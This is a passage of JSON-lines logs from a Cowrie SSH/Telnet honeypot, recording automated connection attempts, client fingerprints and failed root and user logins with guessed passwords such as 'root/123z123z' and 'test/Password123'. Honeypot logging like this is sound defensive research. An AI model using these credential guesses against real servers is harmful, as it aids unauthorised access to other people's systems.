t-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.762093Z","src_ip":"103.77.175.15","session":"8835b26d51b3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:cf:64:ee:78:b6:bd:80:6a:47:89:30:bb:26:82:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKP0kn5Haz338dsRP4Nr/140qIm53NB/bkwcOs0GIxForxnERTKEcYeTg3A3hPVzdYMVbfyWFnlbBKA6z6kJQJ6iqoI4fPbg9dQjkofLsfgmExaPNtnWUxJ+XhJe0s8Md87vjkgyT1CpSKTEj4JSV+FIJDeFgAhUs+nhRSrNhZ2UthDY9ybmFm7ivArHsqGFo2igX1DIfyxvb0c3bX5Ok8MrFGmWDFvAmeTbSAK6Yf1GAN1/mJxhGRWH30tgD7nbzSE4C251pWPiDQN7iiGm8nXMhKcclOXIAVAt9/bOm8cgXx4uQxnILr7EwtbYGF/dmc2k2jZknw9WFpvZDQJ7Oj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:cf:64:ee:78:b6:bd:80:6a:47:89:30:bb:26:82:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.825641Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:cf:64:ee:78:b6:bd:80:6a:47:89:30:bb:26:82:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKP0kn5Haz338dsRP4Nr/140qIm53NB/bkwcOs0GIxForxnERTKEcYeTg3A3hPVzdYMVbfyWFnlbBKA6z6kJQJ6iqoI4fPbg9dQjkofLsfgmExaPNtnWUxJ+XhJe0s8Md87vjkgyT1CpSKTEj4JSV+FIJDeFgAhUs+nhRSrNhZ2UthDY9ybmFm7ivArHsqGFo2igX1DIfyxvb0c3bX5Ok8MrFGmWDFvAmeTbSAK6Yf1GAN1/mJxhGRWH30tgD7nbzSE4C251pWPiDQN7iiGm8nXMhKcclOXIAVAt9/bOm8cgXx4uQxnILr7EwtbYGF/dmc2k2jZknw9WFpvZDQJ7Oj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.829730Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:9f:e0:8e:38:07:ab:94:16:99:91:d7:b7:29:c3:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpW9Prq0jxtRtajF5Ad9eosfYrCnI0HLNJiXNc1z/eReZGXTHiCFaiPh+CrbVPmC4Y0lRNkq+lvhq66GhlFTJ9q14X/Yc4tm74kJy3iwgVr5/Y+tAtA0CQOLarh4UBLW1SZBXb8+kU5W4VqWVqpFIYz4maNaumSWaeymKFFTd37o+X/yDrbNoUtVoRfMm75dPh5j4qZtMPMvwuzozW+Ic5E0SK2J2E7jdQJhNK/U7crbDfrpg7bhzylesLzWq2pP9Wl4oPYENtYzpvbDrZC+BOZPe5P6Y8kMkeHSCdJWKy448KJzU3Z4FbyTR+jIcETikFH+JqQDXzUvROsfyxMVUV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:9f:e0:8e:38:07:ab:94:16:99:91:d7:b7:29:c3:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.902201Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:9f:e0:8e:38:07:ab:94:16:99:91:d7:b7:29:c3:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpW9Prq0jxtRtajF5Ad9eosfYrCnI0HLNJiXNc1z/eReZGXTHiCFaiPh+CrbVPmC4Y0lRNkq+lvhq66GhlFTJ9q14X/Yc4tm74kJy3iwgVr5/Y+tAtA0CQOLarh4UBLW1SZBXb8+kU5W4VqWVqpFIYz4maNaumSWaeymKFFTd37o+X/yDrbNoUtVoRfMm75dPh5j4qZtMPMvwuzozW+Ic5E0SK2J2E7jdQJhNK/U7crbDfrpg7bhzylesLzWq2pP9Wl4oPYENtYzpvbDrZC+BOZPe5P6Y8kMkeHSCdJWKy448KJzU3Z4FbyTR+jIcETikFH+JqQDXzUvROsfyxMVUV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.906353Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:f9:a3:10:e3:63:ae:fb:55:66:1c:af:c9:11:d3:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsKIj6glBkZYw3TGs6EM6KAY1hjuebUesnob6b0xAMeuWqXdkR/K+DtdiEIlk+Av7mvRODz37BHs3l8Pc7ny4XolTcboC9ktIiOFkz4XvF0EzQxSz7E+citiBLhwwBbCdv6CY9wdIhtNy9UemsxtXqmwQ39e8b+ZMvco2/rfN0lMmJ3Yzg1/QbJwWSVzQZ9pKSp8gHyq3KFcsTWTWpUlW2LB7wCvDVAKVX2QZV6638ost7BvHpk/77JUJ9vArwhZt+QSWGtIp2eBiGIT6on/1pf97l6dpQoGRlvO6WX3TBEnHui4LLKsekhT+2eylx2McRAKnRYTbJlKsoXTzSJb88w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:f9:a3:10:e3:63:ae:fb:55:66:1c:af:c9:11:d3:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.981243Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:f9:a3:10:e3:63:ae:fb:55:66:1c:af:c9:11:d3:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsKIj6glBkZYw3TGs6EM6KAY1hjuebUesnob6b0xAMeuWqXdkR/K+DtdiEIlk+Av7mvRODz37BHs3l8Pc7ny4XolTcboC9ktIiOFkz4XvF0EzQxSz7E+citiBLhwwBbCdv6CY9wdIhtNy9UemsxtXqmwQ39e8b+ZMvco2/rfN0lMmJ3Yzg1/QbJwWSVzQZ9pKSp8gHyq3KFcsTWTWpUlW2LB7wCvDVAKVX2QZV6638ost7BvHpk/77JUJ9vArwhZt+QSWGtIp2eBiGIT6on/1pf97l6dpQoGRlvO6WX3TBEnHui4LLKsekhT+2eylx2McRAKnRYTbJlKsoXTzSJb88w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:56.985787Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:57.058676Z","src_ip":"209.90.232.251","session":"a5c071e40e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123z123z","message":"login attempt [root/123z123z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:57.529706Z","src_ip":"103.77.175.15","session":"8835b26d51b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:44:58.789120Z","src_ip":"103.77.175.15","session":"8835b26d51b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":52170,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8fa5fcf8987","protocol":"ssh","message":"New connection: 160.251.182.78:52170 (159.203.135.109:22) [session: c8fa5fcf8987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:45:39.162023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:45:39.166841Z","src_ip":"160.251.182.78","session":"c8fa5fcf8987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:45:39.339239Z","src_ip":"160.251.182.78","session":"c8fa5fcf8987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Password123","message":"login attempt [test/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:45:40.058789Z","src_ip":"160.251.182.78","session":"c8fa5fcf8987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:45:41.233936Z","src_ip":"160.251.182.78","session":"c8fa5fcf8987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:45:45.878515Z","src_ip":"14.103.118.145","session":"7308f4ab5b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":39470,"dst_ip":"159.203.135.109","dst_port":22,"session":"691ce54be28b","protocol":"ssh","message":"New connection: 186.233.118.22:39470 (159.203.135.109:22) [session: 691ce54be28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:00.850293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:00.856013Z","src_ip":"186.233.118.22","session":"691ce54be28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:00.974836Z","src_ip":"186.233.118.22","session":"691ce54be28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10293847","message":"login attempt [root/10293847] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:01.479599Z","src_ip":"186.233.118.22","session":"691ce54be28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:02.601631Z","src_ip":"186.233.118.22","session":"691ce54be28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0056300163269,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:15.626759Z","src_ip":"38.211.253.121","session":"96b6232c475c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00377345085144,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:17.882287Z","src_ip":"38.211.253.121","session":"e3e19ea14dc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":10051,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fcb9fbf6f99","protocol":"telnet","message":"New connection: 38.211.253.121:10051 (159.203.135.109:23) [session: 2fcb9fbf6f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:19.194173Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":43668,"dst_ip":"10.17.0.5","dst_port":22,"session":"08b38e9019e2","protocol":"ssh","message":"New connection: 20.203.42.204:43668 (10.17.0.5:22) [session: 08b38e9019e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:20.086553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:20.092052Z","src_ip":"20.203.42.204","session":"08b38e9019e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:20.264918Z","src_ip":"20.203.42.204","session":"08b38e9019e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfasdf","message":"login attempt [ubuntu/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:20.975419Z","src_ip":"20.203.42.204","session":"08b38e9019e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:22.149830Z","src_ip":"20.203.42.204","session":"08b38e9019e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":44670,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb528103273d","protocol":"ssh","message":"New connection: 14.103.118.145:44670 (159.203.135.109:22) [session: eb528103273d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:46:38.637578Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":35316,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3a1b9c3434d","protocol":"ssh","message":"New connection: 185.236.22.41:35316 (10.17.0.5:22) [session: a3a1b9c3434d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:04.934056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:04.939126Z","src_ip":"185.236.22.41","session":"a3a1b9c3434d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:05.045819Z","src_ip":"185.236.22.41","session":"a3a1b9c3434d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03031991","message":"login attempt [root/03031991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:05.375002Z","src_ip":"185.236.22.41","session":"a3a1b9c3434d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:06.484477Z","src_ip":"185.236.22.41","session":"a3a1b9c3434d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60770,"dst_ip":"10.17.0.5","dst_port":22,"session":"a112465c1bcf","protocol":"ssh","message":"New connection: 103.82.132.16:60770 (10.17.0.5:22) [session: a112465c1bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:06.539330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:06.548233Z","src_ip":"103.82.132.16","session":"a112465c1bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:06.803294Z","src_ip":"103.82.132.16","session":"a112465c1bcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nobody","message":"login attempt [root/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:07.578955Z","src_ip":"103.82.132.16","session":"a112465c1bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:47:08.833244Z","src_ip":"103.82.132.16","session":"a112465c1bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.16.74","src_port":53982,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffa806769894","protocol":"ssh","message":"New connection: 173.236.16.74:53982 (10.17.0.5:22) [session: ffa806769894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:12.948826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:12.954037Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
